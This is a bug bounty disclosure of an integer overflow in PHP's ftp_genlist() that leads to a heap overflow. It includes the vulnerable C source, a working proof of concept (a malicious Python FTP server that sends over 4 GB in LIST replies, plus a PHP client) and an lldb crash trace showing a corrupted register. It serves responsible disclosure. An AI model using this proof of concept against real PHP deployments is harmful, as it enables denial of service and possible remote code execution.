Internet Bug Bounty: Integer overflow in ftp_genlist() resulting in heap overflow

https://bugs.php.net/bug.php?id=69545

Description:

The ftp_genlist() function of the ftp extension is prone to an integer overflow, which may result in remote code execution.

ext/ftp/ftp.c:ftp_genlist(...)
1826         size = 0;
1827         lines = 0;
1828         lastch = 0;
1829         while ((rcvd = my_recv(ftp, data->fd, data->buf, FTP_BUFSIZE))) {
1830                 if (rcvd == -1) {
1831                         goto bail;
1832                 }
1833
1834                 php_stream_write(tmpstream, data->buf, rcvd);
1835
1836                 size += rcvd;
1837                 for (ptr = data->buf; rcvd; rcvd--, ptr++) {
1838                         if (*ptr == '\n' && lastch == '\r') {
1839                                 lines++; // [0]
1840                         } else {
1841                                 size++; // [1]
1842                         }
1843                         lastch = *ptr;
1844                 }
1845         }

In the above loop size' or lines’ may overflow (at [0] respectively [1]).
This requires sending more than 2^32 bytes, which will be stored in a tempfile.

1851         ret = safe_emalloc((lines + 1), sizeof(char*), size); // [2]
1852
1853         entry = ret;
1854         text = (char*) (ret + lines + 1);
1855         *entry = text;
1856         lastch = 0;
1857         while ((ch = php_stream_getc(tmpstream)) != EOF) {
1858                 if (ch == '\n' && lastch == '\r') {
1859                         *(text - 1) = 0;
1860                         *++entry = text;
1861                 } else {
1862                         *text++ = ch; // [3]
1863                 }
1864                 lastch = ch;
1865         }
1866         *entry = NULL;

This results in the allocated buffer at [2] being to small to hold the data written to
the tempfile, which results in a heap overflow at [3] when loading the contents of the
tempfile back into memory.

These kind of bugs are well-known to be exploitable and since php_stream_getc uses structs
located on the heap, which may be overwritten, I think that this bug can be leveraged to attain
remote code execution.

Regards,
Max Spelsberg

malicious_server.py
===================
#!/usr/bin/env python2
# coding: utf-8

# based on https://gist.github.com/scturtle/1035886

import os,socket,threading,time

allow_delete = False
local_ip = "localhost"
local_port = 8887
currdir=os.path.abspath('.')

class FTPserverThread(threading.Thread):
    def __init__(self,(conn,addr)):
        self.conn=conn
        self.addr=addr
        self.basewd=currdir
        self.cwd=self.basewd
        self.rest=False
        self.pasv_mode=False
        threading.Thread.__init__(self)

    def run(self):
        self.conn.send('220 Welcome!\r\n')
        while True:
            cmd=self.conn.recv(256)
            if not cmd: break
            else:
                print 'Recieved:',cmd
                try:
                    func=getattr(self,cmd[:4].strip().upper())
                    func(cmd)
                except Exception,e:
                    print 'ERROR:',e
                    #traceback.print_exc()
                    self.conn.send('500 Sorry.\r\n')
            self.conn.close()

    def TYPE(self,cmd):
        self.mode=cmd[5]
        self.conn.send('200 Binary mode.\r\n')

    def PASV(self,cmd): # from http://goo.gl/3if2U
        self.pasv_mode = True
        self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.servsock.bind((local_ip,0))
        self.servsock.listen(1)
        ip, port = self.servsock.getsockname()
        print 'open', ip, port
        self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
                (','.join(ip.split('.')), port>>8&0xFF, port&0xFF))

    def start_datasock(self):
        if self.pasv_mode:
            self.datasock, addr = self.servsock.accept()
            print 'connect:', addr
        else:
            self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            self.datasock.connect((self.dataAddr,self.dataPort))

    def stop_datasock(self):
        self.datasock.close()
        if self.pasv_mode:
            self.servsock.close()

    # THIS is the interesting part    
    def LIST(self,cmd):
        self.conn.send('150 Here comes the directory listing.\r\n')
        print 'list:', self.cwd
        self.start_datasock()

        # send 2^32 + 1 bytes of data
        for i in xrange(262144):
            if i % 10000 == 0:
                print "%d" % i
            self.datasock.send("B"*16384)
        self.datasock.send("A\r\n")

        self.stop_datasock()
        self.conn.send('226 Directory send OK.\r\n')


class FTPserver(threading.Thread):
    def __init__(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.bind((local_ip,local_port))
        threading.Thread.__init__(self)

    def run(self):
        self.sock.listen(5)
        while True:
            th=FTPserverThread(self.sock.accept())
            th.daemon=True
            th.start()

    def stop(self):
        self.sock.close()

if __name__=='__main__':
    ftp=FTPserver()
    ftp.daemon=True
    ftp.start()
    print 'On', local_ip, ':', local_port
    raw_input('Enter to end...\n')
    ftp.stop()

buggy.php
=========
<?php
    $id = ftp_connect("localhost", 8887);
    ftp_pasv($id, TRUE);
    var_dump(ftp_rawlist($id, "/"));
?>

Result
======
(lldb) r ./buggy.php
Process 54712 launched: '/usr/bin/php' (x86_64)
Process 54712 stopped
* thread #1: tid = 0x204e9, 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1024243de)
    frame #0: 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182
libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown:
->  0x7fff86503056 <+182>: movb   (%rsi,%r8), %cl
    0x7fff8650305a <+186>: movb   %cl, (%rdi,%r8)
    0x7fff8650305e <+190>: subq   $0x1, %rdx
    0x7fff86503062 <+194>: je     0x7fff86503078            ; <+216>
(lldb) register read rsi
     rsi = 0x00000001024243de
(lldb) bt
* thread #1: tid = 0x204e9, 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1024243de)
  * frame #0: 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182
    frame #1: 0x000000010031b2c7 php`_php_stream_read + 81
    frame #2: 0x000000010031b8a1 php`_php_stream_getc + 22
    frame #3: 0x000000010010ec3a php`___lldb_unnamed_function2574$$php + 614
    frame #4: 0x000000010010c21c php`___lldb_unnamed_function2530$$php + 118
    frame #5: 0x00000001003cb2af php`___lldb_unnamed_function9391$$php + 1752
    frame #6: 0x00000001003813b0 php`execute_ex + 79
    frame #7: 0x000000010035d592 php`zend_execute_scripts + 482
    frame #8: 0x0000000100308897 php`php_execute_script + 684
    frame #9: 0x00000001003edce0 php`___lldb_unnamed_function9505$$php + 4653
    frame #10: 0x00000001003ec93c php`___lldb_unnamed_function9503$$php + 1408
    frame #11: 0x00007fff8cb8d5c9 libdyld.dylib`start + 1
(lldb)

[Note that the first three bytes (42, 43, de) of rsi have been overwritten!]